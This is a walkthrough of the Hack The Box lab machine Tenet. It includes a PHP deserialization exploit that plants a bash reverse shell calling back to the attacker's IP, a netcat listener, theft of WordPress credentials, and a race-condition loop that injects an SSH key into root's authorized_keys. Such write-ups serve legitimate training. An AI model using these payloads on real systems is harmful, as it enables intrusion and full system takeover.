Tenet is Linux-based medium machine, created by egotisticalSW.


First of all, I’ll run port scan so we can know which ports are open and service versions.

Scanning Result

Only two ports are open. They are 22 (SSH) and 80 (HTTP). Since it has opened port 80, we should be able to visit the page. Let’s type in our browser machine’s IP and go.

Page on Port 80

And we can see that is Apache2 Default page, nothing interesting can be found here. Let’s try to add tenet.htb (default domain name on HTB Machines are usually called machine.htb) in our local hosts. (/etc/hosts).

sudo nano /etc/hosts

Nano is one of the text editors. We’ll use it. So, with command above, you can open your list of local hosts. Now we can add machine ip and domain. Add this to /etc/hosts:    tenet.htb

Save it, and then type tenet.htb in our browser to see what we will get. And we getting WordPress page (you can see WordPress in footer). Now, let’s enum this site. Enumerating this, I have found “Recent Comments” and “neil” as author of the comment. It might be username. Let’s see what comment says:

Recent Comments

I continued with enumerating the site more, but nothing else interesting found. Since Neil is talking about migration, it can be another host called sator. We’ll try to reach it. Open your /etc/hosts and do the same thing as before, but this time add sator.tenet.htb. After that, let’s go to the site. It’s again Apache2 Default Page. Let’s try to go to some random path (write anything after slash: and it should say to us on which server we are.

And we got it, we are on sator.tenet.htb. Let’s explore it by searching for some another paths. Neil mentioned backups, so I was trying to reach sator.tenet.htb/backups but nothing. Tried some other paths, but still nothing. Let’s try to reach sator.php now, maybe we can get something if it exists on the server.

It exists! But unfortunately, we are not able to read the source of that file. Neil mentioned that backups are not removed, and sator.php might be in that backups. Let’s try to download it adding .bak at the end of the name. “.bak” is a filename extension commonly used to signify a backup copy of a file – More About .BAK.

Downloading File

And yes, it worked. They really should delete these backups, haha.


Let’s read this file, open it with your text editor.

File Content

Here we see that the script looks for a GET input variable arepo and unserializes it. We might be able to exploit it using PHP Object Deserialization. Here you can read more about it: Exploiting PHP Deserialization. Here is a class called DatabaseExport with a __destruct function implemented. This function is what we can use to get RCE. The function uses file_put_contents to write the variable data to the file defined in the variable user_file. If we go over to the URI sator.tenet.htb/users.txt, we see that the file exists and prints SUCCESS. So, we need to create exploit that will spawn shell.

class DatabaseExport
        public $user_file = 'exploit.php';
        public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.XX.XX/1234 0>&1\'"); ?>';
        public function __destruct()
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
$url = '' . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$url");
$response = file_get_contents("");

Don’t forget to change your IP Address. When we got exploit, we need to start nc listener and to run exploit.

nc -nlvp 1234

And, run exploit in another tab.

php exploit.php
Connection Received

And we got connection! Now, let’s spawn python reverse shell.

Shell Spawned

And we got our shell! We are web user.

User Escalation

We saw that site is based on WordPress, so let’s find wp-config.php where credentials should be. We are in /var/www/html directory, and when we list files, we can see wordpress folder.

User Credentials

We found credentials. SSH Port is open, so we can connect to it via SSH.

SSH User

And we got user via SSH. Now, grab the user flag, and paste it to HTB.

Root Escalation

We check what sudo capabilities our user has got using:

sudo -l
Sudo Capabilities

We can see that we can run /usr/local/bin/, let’s read it.

cat /usr/local/bin/

And we got:


checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"


		/bin/echo "Error in adding $sshName to authorized_keys file!"



checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1



addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName)

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName


key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl [email protected]"

With this script, we can add our public SSH key to Root’s authorized keys. To copy your SSH public key, you need to create new or copy already existing keys. We will create new ones, on your local machine type:


Just pres ENTER, don’t add password, etc.. If it asks you to overwrite, press y and ENTER. Default location of SSH keys is /home/username/.ssh, so let’s cd into it and copy our public key. (

SSH Public Key

Now, copy it and go to the box. We will create a simple script which will write our public key to /root/.ssh/authorized_keys and then we will be able to SSH into it. In box, open text editor (in my case, it’s nano), and make script with your public key that you have copied.

while true;
do echo "ssh-rsa YOURKEY" | tee /tmp/ssh* > /dev/null;

Now, add executable permissions to

chmod +x

Now, connect again to neil via SSH but in new tab, so we can run and When you’re connected, then run exploit


Now, in another tab, run multiple times, with sudo:

sudo /usr/local/bin/

Run that command (with multiple times so you can connect via SSH. In my case, I run it more than 50 times and then I have successfully connected to root. When you have run it enough times, try to connect to root:

ssh -i id_rsa [email protected]

This time, we are using private key to connect (id_rsa). If you tried too many times to connect but failed, try resetting the box.



Thank you for reading this writeup. If you want to support my work:

Hack The Box Buy Me A Coffee GitHub Discord